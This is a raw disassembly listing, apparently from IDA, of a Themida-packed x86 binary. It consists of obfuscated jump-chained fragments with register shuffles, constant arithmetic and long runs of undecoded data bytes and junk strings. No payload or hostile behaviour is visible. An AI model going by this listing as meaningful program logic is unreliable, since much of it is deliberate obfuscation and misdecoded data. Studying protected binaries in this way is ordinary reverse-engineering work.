dd 56535FF8h, 0C918F3BEh, 0F6814E25h, 2B2E30F4h, 0EF69E3BBh
dd 4690E97Eh, 0CB800000h, 0E9C3FE83h, 39AEh, 3649CB9h
dd 48DEE96Bh, 0CE810000h, 6B616A21h, 3AD5F681h, 0C6832E3Dh
dd 0DE04E901h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5575EE: ; CODE XREF: Themida_:00558733j
mov esi, [esp]
jmp loc_55EB57
; ---------------------------------------------------------------------------
dw 0F989h
dd 0E9CF015Fh, 535Ch, 8704C083h, 8F5C2404h, 0E95C2404h
dd 812Ch
; ---------------------------------------------------------------------------
loc_557610: ; CODE XREF: Themida_:0055F8BBj
dec eax
not eax
add eax, 0B3FBE15h
add edx, eax
mov eax, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_55B90D
; ---------------------------------------------------------------------------
loc_557632: ; CODE XREF: Themida_:005577B8j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_55739A
; ---------------------------------------------------------------------------
dw 1431h
dd 24143324h, 6624248Bh, 2404B30Fh, 0D27CE99Ch, 0BE56FFFFh
dd 4, 4247401h, 77FFE9h, 0E9562C00h, 0FFFFEC75h, 7DBF5752h
dd 68627C1Bh, 9D83E487h, 5FFA015Ah, 34FFD301h, 24148B24h
dd 5704C483h, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 2AB3h
dd 0B9240C89h, 4, 5159CD01h, 2B9h, 0A5C58100h, 296F964Fh
dd 0A5ED81CDh, 8B6F964Fh, 0B2E9240Ch
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5576BF: ; CODE XREF: Themida_:0055B046j
inc ecx
jmp loc_555802
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aXqsN db 'XQé¶N',0
dw 100h
dd 57042444h, 0EB1F6EBFh, 24448142h, 0E22E0D08h, 247C294Ah
dd 246C8108h, 0E22E0D08h, 48B5F4Ah
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55BCB3
; ---------------------------------------------------------------------------
db 0B9h, 25h, 11h
dd 0E94901C3h, 0FFFFFD89h, 0EE80C628h, 48B6626h, 7FC4E924h
dd 4050000h, 83000000h, 1C8904ECh, 2BB24h, 57E90000h, 0FF00005Ah
dd 669D1C77h, 2414D359h, 0D18CE99Ch, 6664FFFFh, 0E902B60Fh
dd 0FFFFE434h
; ---------------------------------------------------------------------------
loc_55774C: ; CODE XREF: Themida_:0055F145j
sub ebx, 53424D35h
add ebx, 2F5731C8h
jmp loc_55D2BF
; ---------------------------------------------------------------------------
db 81h, 0C1h, 2
dd 51000000h, 722CE9h, 63E95300h, 0D100003Dh, 3CA9E9E8h
dd 0E95D0000h, 55CBh, 1F17E6BAh, 558E924h, 14330000h, 0D5DBE924h
dd 6C81FFFFh, 0B1C0424h, 0E95373F0h, 0FFFFD2E7h, 9185E950h
dd 77FF0000h, 59669D1Ch, 241CD366h, 0D11CE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5577B2: ; CODE XREF: Themida_:0055C8E0j
xor [esp], ebp
xor ebp, [esp]
jmp loc_557632
; ---------------------------------------------------------------------------
aZsI db 'Zé´‰',0
dw 5200h
dd 0A80AC0BAh, 5AD001E8h, 0C158C631h, 4E4E06E6h, 0F131CE31h
dd 0D9F7CE31h, 0B951CE87h, 58C76A42h, 0E959CE01h, 4968h
dd 51CA8158h, 811D1A06h, 663590F2h, 74C28121h, 4A2DB93Eh
dd 58E8E9h
db 0
; ---------------------------------------------------------------------------
loc_557805: ; CODE XREF: Themida_:005593CAj
not ebx
jmp loc_55BE6E
; ---------------------------------------------------------------------------
dd 0EBE9F089h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557813: ; CODE XREF: Themida_:0055F873j
push dword ptr [edi+24h]
push ebp
push dword ptr [esp+4]
jmp loc_560C1E
; ---------------------------------------------------------------------------
dd 24048B66h, 4EC81h, 3C890000h, 4EC8324h, 2744E954h, 0E9550000h
dd 85CBh, 0FEE9C689h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557843: ; CODE XREF: Themida_:005587DAj
add edx, eax
jmp loc_55917E
; ---------------------------------------------------------------------------
aISK db 'Áë',7,'隊',0
align 2
dw 8B66h
dd 5452240Ch, 44A8E95Ah, 8B660000h, 0BA682404h, 8900001Fh
dd 0A5E9241Ch, 52000006h, 31A5E9h, 3CE9AC00h, 2900002Fh
dd 0E8295AD0h, 0C3557C05h, 2434FF18h, 4C4815Dh, 52000000h
dd 569168h, 24248900h, 3214E9h, 5BF93000h, 93D9E9h, 242C8900h
dd 4F44D0BDh, 1B80E941h, 33580000h, 1C31241Ch, 3323E924h
dd 0E9810000h, 51B85AEBh, 0C181C129h, 51B85AEBh, 3251E9h
dd 241C3000h, 30241C32h, 0EE68241Ch, 8900005Fh, 88502414h
dd 994E9D8h, 0EB810000h, 59C02523h, 119DE9h, 815B5E00h
dd 4ECh, 24348900h, 4E7CE9h, 24248B00h, 9C240409h, 0FFF3F4E9h
dd 55C601FFh, 794E75BDh, 5DEE011Dh, 7B77C681h, 48B3971h
dd 4C48124h, 0E9000000h, 30F6h, 0B4C27B9h, 0E9CD8963h
dd 50C5h, 5007C2BDh, 5A3EE942h, 31660000h, 665E66F1h, 6608E9C1h
dd 337EE981h, 7251E9h
db 0
; ---------------------------------------------------------------------------
loc_557959: ; CODE XREF: Themida_:00560255j
shr edi, 6
shr edi, 8
jmp loc_55EB9F
; ---------------------------------------------------------------------------
loc_557964: ; CODE XREF: Themida_:00555C70j
add eax, 4
jmp loc_554DEA
; ---------------------------------------------------------------------------
dw 15Eh
dd 48902DC8h, 87593342h, 248B2404h, 82D0E924h, 8B660000h
dd 31682404h, 8900003Ah, 5A542414h, 284DE9h
db 0
; ---------------------------------------------------------------------------
loc_557995: ; CODE XREF: Themida_:0055B370j
sub esi, 75347C7Bh
mov eax, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
jmp loc_559D7F
; ---------------------------------------------------------------------------
dw 248Bh
dd 4896624h, 8BFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5579BA: ; CODE XREF: Themida_:0055E52Fj
pop esp
push esi
jmp loc_55B9D0
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0EC815124h, 4, 81242489h, 42404h, 56590000h, 0FFD2E6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5579DD: ; CODE XREF: Themida_:0055D532j
push ebx
jmp loc_55F858
; ---------------------------------------------------------------------------
loc_5579E3: ; CODE XREF: Themida_:0055908Aj
mov eax, [esp]
add esp, 4
push edi
mov edi, 74CA4A36h
shl edi, 7
jmp loc_55C2C4
; ---------------------------------------------------------------------------
loc_5579FA: ; CODE XREF: Themida_:0055C77Cj
mov ebx, 52144124h
neg ebx
and ebx, 75A85647h
jmp loc_557FA6
; ---------------------------------------------------------------------------
dd 1888EB88h, 4C37E9h, 0E965B400h, 0FFFFFB34h
; ---------------------------------------------------------------------------
loc_557A1C: ; CODE XREF: Themida_:00559DDFj
sub esp, 4
mov [esp], ebp
push 54B34B28h
pop ebp
push ebx
mov ebx, 5CD36D84h
and ebp, ebx
pop ebx
push eax
mov eax, 2C25B80h
sub ebp, eax
pop eax
sub ebp, 7BD038BFh
sub ebp, 0D600B4C1h
mov edx, ebp
mov ebp, [esp]
add esp, 4
add edx, 54C50D30h
jmp loc_555D56
; ---------------------------------------------------------------------------
db 0F7h
dd 65F035D8h, 0CD2D0CF3h, 127CA31h, 0EF8158C7h, 329A401Dh
dd 4EF835Eh, 5B45E9h, 8A685C00h, 89000029h, 99B82404h
dd 8117637Dh, 0B23A80EBh, 160BE93Eh, 815F0000h, 4C7h, 53D4E900h
dd 0C4810000h, 4, 0FFF638E9h, 7E9C0FFh, 28DBE980h, 586659CBh
dd 0FFC0B60Fh, 34FF8734h, 2434FF24h, 88EBE9h
db 0
; ---------------------------------------------------------------------------
loc_557AC9: ; CODE XREF: Themida_:0055A69Ej
xor edx, 791A203Bh
jmp loc_559961
; ---------------------------------------------------------------------------
dd 405h, 3E95600h, 28000073h, 2434FFD8h, 4C4815Bh, 68000000h
dd 406Dh, 53240C89h, 515060B7h, 0CC88F988h, 0FFDAD2E9h
dd 24248BFFh, 15A3E9h, 8151AD00h, 4ECh, 243C8900h, 73135268h
dd 0EBBCE94Bh, 2C87FFFFh, 0D78BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557B26: ; CODE XREF: Themida_:0055FE95j
xor edi, ebp
pop ebp
jmp loc_55D95E
; ---------------------------------------------------------------------------
loc_557B2E: ; CODE XREF: Themida_:00555D11j
mov ebp, 3A3E0D64h
add [esp+4], ebp
push dword ptr [esp]
pop ebp
add esp, 4
pop ebp
sub ebp, 3A3E0D64h
push dword ptr [esp]
pop ebx
jmp loc_55815A
; ---------------------------------------------------------------------------
dw 45Ah
dd 51F8003Ah, 38E921B1h, 8B00007Ah, 4D32424h, 67E99C24h
dd 81FFFFCDh, 1528242Ch, 40141DCh, 3856824h, 0B1E90000h
dd 88000006h, 0D8285AD3h, 0B5515B66h, 5BE951E4h, 5F000057h
dd 8032E9h, 0FFE95A00h, 1FFFFFEh, 242C8BEEh, 4C481h, 34330000h
dd 24343124h, 2836E9h, 0CD1CE900h, 0BA52FFFFh, 2B99741Dh
dd 0FFF098E9h, 4EAC1FFh, 1E95357h, 66000044h, 57240C8Bh
dd 8904EC83h, 55E92424h, 66FFFFF4h, 51240C8Bh, 0BD555954h
dd 10817E3Ah, 0B99E9h, 14896600h, 20D5B624h, 0D9FFE9F7h
dd 0DB6FFFFh, 0C05AF088h, 4F0C02E0h, 0E8D0900Ch, 3403E8C0h
dd 4EC8348h, 0B2241489h, 0BBE95300h, 0B8FFFFF4h, 12875606h
dd 2958C629h, 6C681EEh, 5D128756h, 8B8E9h, 0BA525B00h
dd 4, 815AD301h, 4EBh, 241C3300h, 53AFE9h, 243C8700h, 4C7815Ch
dd 57000000h, 42474FFh, 24048F5Fh, 51C3305Ch, 0EC83C188h
dd 24048904h, 0E904EC83h, 8984h
; ---------------------------------------------------------------------------
loc_557C6C: ; CODE XREF: Themida_:00558631j
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_55C92B
; ---------------------------------------------------------------------------
dd 366C581h, 0EB0110ACh, 4EB815Dh, 87000000h, 6AE9241Ch
dd 0BEFFFFFEh, 4, 107DC181h, 27E97B8Bh, 66000062h, 0E92414F7h
dd 7BE7h, 0E8B55166h, 0D517E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557CBA: ; CODE XREF: Themida_:0055F4F0j
dec dword ptr [esp]
pop edi
jmp loc_55FE8F
; ---------------------------------------------------------------------------
db 29h
dd 5D4EE9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557CCA: ; CODE XREF: Themida_:00558084j
pop edx
jmp loc_5601B7
; ---------------------------------------------------------------------------
loc_557CD0: ; CODE XREF: Themida_:0055DF53j
push edi
pop eax
pop edi
and eax, 3F2D4213h
push esi
jmp loc_557EA8
; ---------------------------------------------------------------------------
dw 0EA81h
dd 4A3B2E60h, 4A07EAC1h, 1955C281h, 0C2811D2Ah, 31BB596Eh
dd 24348152h, 6BB865C7h, 0C7F6815Eh, 0E96BB865h, 48Dh
dd 43FC68h, 4210E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557D12: ; CODE XREF: Themida_:0055BACBj
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_55FF4A
; ---------------------------------------------------------------------------
dw 0FC68h
dd 89000038h, 0E5682434h, 89000043h, 9EBA2414h, 51224F52h
dd 3BD06857h, 14890000h, 0FDBF5724h, 0E9624323h, 824Fh
dd 0F0E9C801h, 2D00002Eh, 2FA86B41h, 89DFE9h
db 0
; ---------------------------------------------------------------------------
loc_557D65: ; CODE XREF: Themida_:0055571Bj
mov ebp, 12207BAFh
neg ebp
xor ebp, 0EDDF8455h
mov esi, ebp
jmp loc_555C00
; ---------------------------------------------------------------------------
db 89h, 0D6h, 5Ah
dd 55EF301h, 73E3308Ch, 0F2E9D801h, 53000053h, 20610968h
dd 0DBF75B70h, 610DC381h, 0EBE97020h, 81000028h, 4C1h
dd 4C18100h, 87000000h, 875C240Ch, 555C2434h, 8904EC83h
dd 0BB53240Ch, 53EE1053h, 37EB8143h, 89F0880Ch, 241C8BD9h
dd 0E9E28952h, 7A1h, 695CC581h, 2BE95800h, 0C1000006h
dd 0E68107E6h, 77840735h, 22E9DEF7h, 8B000071h, 30FF2424h
dd 0FFCAD5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557DF9: ; CODE XREF: Themida_:00554961j
push esp
pop ebx
push eax
mov eax, 4
add ebx, eax
pop eax
push ebp
mov ebp, 181F08A1h
add ebp, 287B7440h
and ebp, 3D7E56AAh
push edi
mov edi, 0FFE5AB64h
add ebp, edi
pop edi
add ebx, ebp
pop ebp
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55C05D
; ---------------------------------------------------------------------------
db 0E9h, 9Ch, 0CAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557E32: ; CODE XREF: Themida_:0055646Dj
add dword ptr [esp], 4
pop edx
push eax
mov eax, 5A2A4487h
inc eax
not eax
xor eax, 0AC536C1h
add eax, 50EF724Eh
jmp loc_55C181
; ---------------------------------------------------------------------------
dw 34FFh
dd 0E49AE924h, 5452FFFFh, 0E1BF575Ah, 4F7AFE39h, 32A0CF81h
dd 32E97C88h, 57000079h, 56235BFh, 0A8F78113h, 4F021D22h
dd 0F1D0E94Fh, 0C828FFFFh, 0EE6E9h
db 0
; ---------------------------------------------------------------------------
loc_557E89: ; CODE XREF: Themida_:0055E0A0j
pop ebx
shl ch, 4
or ch, 98h
push eax
mov ah, 0B2h
sub ch, ah
pop eax
add ch, 0A7h
push ebx
mov bl, 0E0h
jmp loc_556FE5
; ---------------------------------------------------------------------------
db 0B3h, 91h, 0E9h
dd 12CCh
; ---------------------------------------------------------------------------
loc_557EA8: ; CODE XREF: Themida_:00557CD9j
mov esi, 375E2363h
jmp loc_55DDFC
; ---------------------------------------------------------------------------
dw 0D000h
dd 0F8005A66h, 34FFCF2Ch, 2A56E924h, 525A0000h, 3CE2E9h
db 0
; ---------------------------------------------------------------------------
loc_557EC9: ; CODE XREF: Themida_:0055BC77j
sub ebp, eax
pop eax
sub edx, ebp
pop ebp
and eax, edx
jmp loc_5609D0
; ---------------------------------------------------------------------------
dw 0C33h
dd 801AE924h, 15B0000h, 0D12DE9F8h, 0FB89FFFFh, 0E9243C8Bh
dd 0FFFFD36Ch, 504E8FBAh, 0F2814265h, 3D221BB8h, 8A20E9h
db 0
; ---------------------------------------------------------------------------
loc_557F01: ; CODE XREF: Themida_:0055CAE1j
push ebx
jmp loc_55D552
; ---------------------------------------------------------------------------
db 0F7h
dd 0E05AE9D7h, 0E951FFFFh, 7CEEh, 4EC81h, 24890000h, 4BA5224h
dd 81000000h, 6042444h, 17C605Ah, 81042454h, 604246Ch
dd 5A7C605Ah, 0E9241C8Bh, 6EEBh, 0E290E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557F46: ; CODE XREF: Themida_:00554FF8j
mov ecx, edx
pop edx
jmp loc_55BD57
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 5C243C87h, 8B1C6F09h, 68E9242Ch, 2D00007Ah, 912E7B5Ah
dd 0E958C629h, 0ED9h, 89243489h, 4C681E6h, 50000000h, 0E15792B8h
dd 0ED70D22h, 0BB533BBFh, 7C771F80h, 0E903E3C1h, 1010h
dd 0BB53D001h, 12D253D2h, 0E3C1D3F7h, 1BE3E902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557FA6: ; CODE XREF: Themida_:00557A07j
sub ebx, 82C169CAh
sub edi, ebx
pop ebx
jmp loc_55D4C9
; ---------------------------------------------------------------------------
dd 0FEA6F380h, 0E8EB80CBh, 0FFCB86E9h, 0B5B951FFh, 0E93E055Bh
dd 63B4h
; ---------------------------------------------------------------------------
loc_557FCC: ; CODE XREF: Themida_:00559D8Cj
mov [esp], edi
push ebx
pop edi
push edx
push 20BDh
jmp loc_55CFA0
; ---------------------------------------------------------------------------
dd offset dword_432184+6E4h
dd 24148900h, 5BE9E289h, 0FFFFFFCFh, 669D1C77h, 241CD259h
dd 0C8D4E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557FFA: ; CODE XREF: Themida_:00554E0Fj
pop ecx
push 7F9Ch
mov [esp], edx
mov edx, 4
sub edi, edx
pop edx
jmp loc_55E98A
; ---------------------------------------------------------------------------
dd 74FF5758h, 3C8B0424h, 4C48324h, 1841E9h, 241C8700h
dd 6CBBE9h, 58E58800h, 5266C5FEh, 0D528E8B2h, 36AE9h, 2C18300h
dd 0E9240C87h, 2113h, 0FFC885E9h, 8FE95AFFh, 5D00001Bh
dd 59DDE9h, 23C38000h, 0EB80CB28h, 0CB005923h, 66E2C380h
dd 0B6526659h, 66F328E1h, 72C3805Ah, 0EB80C328h, 4A95E972h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55807A: ; CODE XREF: Themida_:0055737Cj
pop ebx
push eax
push edx
mov edx, 0
mov eax, edx
jmp loc_557CCA
; ---------------------------------------------------------------------------
db 0BFh, 11h, 7Bh
dd 0E7C140D2h, 22F78105h, 811A4F62h, 0F020ECEBh, 0E3C38101h
dd 126DB1Ah, 0E3EB81FBh, 5026DB1Ah, 0FFD875E9h, 2434FFFFh
dd 5724048Bh, 0B951E789h, 4, 8159CF01h, 4C7h, 243C8700h
dd 0FFE76EE9h, 0C8B66FFh, 5A1A6824h, 2C890000h, 34FF5424h
dd 242C8B24h, 4C481h, 0C4810000h, 4, 4BF57h, 69E90000h
dd 55000048h, 711EE9h, 240C3300h, 33240C31h, 895C240Ch
dd 9C502414h, 0FFC7B9E9h, 0E4F180FFh, 0FFEEB1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55811D: ; CODE XREF: Themida_:005556E7j
add esi, edx
pop edx
push edx
push ecx
mov ecx, 5C9F069Ch
or ecx, 32D175C9h
inc ecx
jmp loc_55F959
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C89h, 159Fh, 0EF81F729h, 582D2443h, 5FF8295Eh
dd 729DE9h, 2C58300h, 2474FF55h, 0D0AFE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55815A: ; CODE XREF: Themida_:00557B49j
push edx
mov edx, esp
add edx, 4
jmp loc_555F6E
; ---------------------------------------------------------------------------
dd 0E9242C8Bh, 0FFFFEAC1h
; ---------------------------------------------------------------------------
loc_558170: ; CODE XREF: Themida_:005584A2j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_55A88B
; ---------------------------------------------------------------------------
dw 0ED81h
dd 11C861B8h, 8105EDC1h, 19C912EDh, 5DEF29B1h, 0FFCA0DE9h
dd 0E6C15AFFh, 14F75602h, 0CE815E24h, 4F4B5385h, 30D8E9h
db 0
; ---------------------------------------------------------------------------
loc_5581A9: ; CODE XREF: Themida_:005593F2j
push edi
mov edi, 4
jmp loc_5565CB
; ---------------------------------------------------------------------------
dd 8104C483h, 0C3BDF2E9h, 7BC2E92Ch, 6EB80000h, 0E9DBFFFFh
dd 0FFFFCD80h, 5D5EE950h, 34330000h, 784BE924h, 0B4500000h
dd 58E688BDh, 0FE03EEC0h, 0C0CEFEC6h, 0E6D008EEh, 0E96FC680h
dd 0CABh, 565DEE89h, 1AE7E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5581FE: ; CODE XREF: Themida_:0055FD52j
shl edx, 1
push eax
push esi
mov esi, 0E4C165Fh
neg esi
neg esi
and esi, 72592290h
dec esi
shr esi, 2
sub esi, 920082h
mov eax, esi
pop esi
push edx
mov edx, 24h
add edx, edi
push ecx
jmp loc_55F6BD
; ---------------------------------------------------------------------------
dd 51241489h, 0FFE979E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558235: ; CODE XREF: Themida_:00555A74j
sub [esp+8], edx
pop edx
jmp loc_559084
; ---------------------------------------------------------------------------
db 83h
dd 0B76804C4h, 8900001Eh, 4B9240Ch, 81000000h, 706246EFh
dd 81CF014Ch, 706246C7h, 3C87594Ch, 24248B24h, 68C8B70Fh
dd 408h, 0E9243C89h, 26BEh, 0FFC655E9h, 0C650E9FFh, 0C288FFFFh
dd 60E3E9h, 4EC8300h, 83242489h, 0E9042404h, 6900h
; ---------------------------------------------------------------------------
loc_558294: ; CODE XREF: Themida_:0055E91Aj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 7816h
mov [esp], edi
mov edi, 510B65C0h
sub edi, 0FFFFFFFFh
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 14AE3E3Ah
shl edi, 8
xor edi, 0D0016B4h
dec edi
sub edi, 596824ABh
jmp loc_55B396
; ---------------------------------------------------------------------------
loc_5582D9: ; CODE XREF: Themida_:0055D959j
xchg ebp, [esp]
pop esp
pop ecx
mov [edi+eax*4], bh
mov ebx, [esp]
add esp, 4
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_5582EF: ; CODE XREF: Themida_:00556822j
pop esp
mov [esp], edx
mov edx, 1
and eax, edx
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_560547
; ---------------------------------------------------------------------------
loc_55830A: ; CODE XREF: Themida_:005558EBj
pop ebp
add esp, 4
or eax, eax
jz loc_558A25
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, 5C2F4BFFh
mov ebx, 0A3D0B41Dh
jmp loc_55C31D
; ---------------------------------------------------------------------------
dd 2BA525Dh, 81000000h, 0CC386EE9h, 0E9D1010Bh, 0FFFFDD07h
; ---------------------------------------------------------------------------
loc_558348: ; CODE XREF: Themida_:0055BF83j
xchg dl, bl
jmp loc_556EAE
; ---------------------------------------------------------------------------
loc_55834F: ; CODE XREF: Themida_:00560C28j
pop dword ptr [esp]
push 480Dh
mov [esp], ebp
inc dword ptr [esp]
mov ebp, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
pop dword ptr [edi+24h]
loc_55838A: ; CODE XREF: Themida_:0055F0F0j
push edx
sub esp, 4
mov [esp], ebx
jmp loc_5593B9
; ---------------------------------------------------------------------------
loc_558396: ; CODE XREF: Themida_:0055A82Dj
sub edi, 2BDCFA9h
mov ebp, edi
jmp loc_55D8CD
; ---------------------------------------------------------------------------
db 66h
dd 8124148Bh, 2C4h, 8F58000h, 8033C580h, 0D5F601EDh, 8904EC83h
dd 32B7241Ch, 2892F780h, 0B7535BFDh, 0E95166ECh, 2898h
dd 24048B66h, 348B5456h, 4C48124h, 0E9000000h, 2AEFh, 0E9C1015Bh
dd 0FFFFD406h, 1A80E953h, 89530000h, 4C381E3h, 81000000h
dd 4C3h, 241C8700h, 0CEB7E95Ch, 0C145FFFFh, 0F58108E5h
dd 138722DBh, 815DEB29h, 308C52EBh, 5BD83167h, 8904EC83h
dd 8CE9240Ch, 5900006Ch, 0DCE9DAF7h, 83000069h, 248904ECh
dd 4BA5224h, 1000000h, 0E9042454h, 10DAh
; ---------------------------------------------------------------------------
loc_558448: ; CODE XREF: Themida_:00555D51j
mov ebp, [esp]
add esp, 4
sub [edi+24h], edx
pop edx
jmp loc_55C5BC
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFFE91Dh, 7AE4B951h, 81E967A5h, 89000001h, 842D5FF9h
dd 16AC365h, 658405C8h, 30E96AC3h, 6800000Bh, 737Dh, 0E9240489h
dd 0FFFFC442h, 805AD388h, 57E9DBEBh
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558497: ; CODE XREF: Themida_:0055E0FDj
add ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_558170
; ---------------------------------------------------------------------------
db 68h
dd 17B7h, 0B3241C89h, 0D6CB8054h, 5250D3F6h, 0FFF739E9h
dd 1DE92DFFh, 348B5660h, 4C48324h, 57F68h, 24048900h, 42474FFh
dd 8B2434FFh, 0C4812404h, 4, 6CFE9h, 0BA525600h, 3A5176D1h
dd 5F21E9h, 18B95100h, 815E2464h, 0DB9BECC1h, 0DABD55A1h
dd 0E9282B22h, 0FFFFD8D8h, 54241489h, 4EC835Ah, 0BE243489h
dd 13F55B43h, 8102EEC1h, 644F96E6h, 0BFE95602h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558527: ; CODE XREF: Themida_:0055B623j
dec ebx
push esi
mov esi, 7A11701Bh
neg esi
not esi
or esi, 17916402h
xor esi, 0E532AB2h
and esi, 81B4CBBh
add esi, 6EABF326h
and ebx, esi
pop esi
jmp loc_55F94E
; ---------------------------------------------------------------------------
dw 0D929h
dd 80C1815Bh, 89F54928h, 0EEC159CEh, 814E4E05h, 0B9C887F6h
dd 1C7721FEh, 5E2434FFh, 387CE9h, 4C28100h, 83000000h
dd 148704C2h, 3018E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558586: ; CODE XREF: Themida_:00558D1Ej
sub esi, ecx
pop ecx
pop eax
jmp loc_560BD6
; ---------------------------------------------------------------------------
db 0FFh
dd 0E9042474h, 3D05h, 73F23548h, 260509C7h, 8938E5BAh
dd 3146E9C6h, 0E1890000h, 4C181h, 0C1810000h, 4, 6ACCE9h
dd 240C3100h, 0AA1E9h
db 0
; ---------------------------------------------------------------------------
loc_5585C5: ; CODE XREF: Themida_:0055DE39j
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push edx
push eax
push 5C336FBh
pop eax
push ecx
push 5687670Ch
pop ecx
add ecx, 49335931h
or ecx, 1E0A38B8h
jmp loc_559F03
; ---------------------------------------------------------------------------
dd 2D59CD31h, 6C67693Ch, 0FFE4D7E9h, 7E2C1FFh, 0FFDBA9E9h
dd 240C89FFh, 2495E9h, 88505200h, 58C288C8h, 0D188D2F6h
dd 0CFF1805Ah, 34FFF100h, 0F19BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558622: ; CODE XREF: Themida_:0055CC91j
add esp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
push esi
mov esi, esp
jmp loc_557C6C
; ---------------------------------------------------------------------------
dw 0EF01h
dd 83242C8Bh, 0BE904C4h, 0FFFFF9h, 0CE2C5BD8h, 83241C8Bh
dd 0EB8004C4h, 66C3282Eh, 66675268h, 68240489h, 38F1h
dd 0B7241C89h, 80DFF625h, 0F78009EFh, 13C780C9h, 34FFFC88h
dd 77BFE924h, 4BF0000h, 1000000h, 243C8BFAh, 4095E9h, 2EE9AC00h
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55868F: ; CODE XREF: Themida_:00555F00j
push ebx
jmp loc_5556C5
; ---------------------------------------------------------------------------
aBaMs8s5 db 'íÐmá8é5`',0
align 10h
loc_5586A0: ; CODE XREF: Themida_:00555051j
sub edx, edi
mov edi, [esp]
add esp, 4
dec edx
inc edx
jmp loc_55D23F
; ---------------------------------------------------------------------------
dw 48Bh
dd 0CC7E924h, 0ED810000h, 9FBC5C03h, 8BE9E889h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5586C7: ; CODE XREF: Themida_:0055E234j
shr esi, 6
push ecx
mov ecx, 140872D7h
jmp loc_55F644
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 90E92424h, 81000021h, 4C5h, 0B8505300h, 6B271AEFh
dd 3198E9h, 26C18100h, 81D037DBh, 375379C2h, 81CA0129h
dd 375379EAh, 2ECCE929h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55870E: ; CODE XREF: Themida_:00560A19j
and eax, ecx
pop ecx
jmp loc_55F86F
; ---------------------------------------------------------------------------
dw 0AABAh
dd 0E94A9C43h, 0FFFFF659h
; ---------------------------------------------------------------------------
loc_558720: ; CODE XREF: Themida_:0055561Ej
pop esp
push ebx
push edx
pop ebx
mov esi, ebx
pop ebx
push dword ptr [esp]
pop edx
add esp, 4
and eax, esi
jmp loc_5575EE
; ---------------------------------------------------------------------------
dd 8904EC83h, 0FEBD242Ch, 21000000h, 2C8B1C6Fh, 4EC8124h
dd 89000000h, 0E389241Ch, 4BA52h, 0BFE90000h, 0FFFFFFD1h
dd 0C168E932h, 0E951FFFFh, 2E58h, 0C581E589h, 4, 4224E953h
dd 0EC830000h, 0E07BE904h, 0D5F7FFFFh, 133EED81h, 0C14D37EDh
dd 0EDC103EDh, 57ED8107h, 1002DE4h, 0E9835DE9h, 240C8704h
dd 3D92E95Ch, 74FF0000h, 0E95D0424h, 0FFFFD69Bh, 5F59CE01h
dd 15E3E9h
db 0
; ---------------------------------------------------------------------------
loc_5587B9: ; CODE XREF: Themida_:0055E4A6j
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
pop eax
jmp loc_55DA4B
; ---------------------------------------------------------------------------
dd 0E902EDC1h, 1E55h
; ---------------------------------------------------------------------------
loc_5587D4: ; CODE XREF: Themida_:00555BD4j
push eax
mov eax, 4
jmp loc_557843
; ---------------------------------------------------------------------------
aQsd db 'Qéd',7,0
dd 31D3F700h, 31F331DEh, 63DAE9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5587F2: ; CODE XREF: Themida_:00558CF9j
push 23DDh
mov [esp], esi
pop eax
mov esi, [esp]
add esp, 4
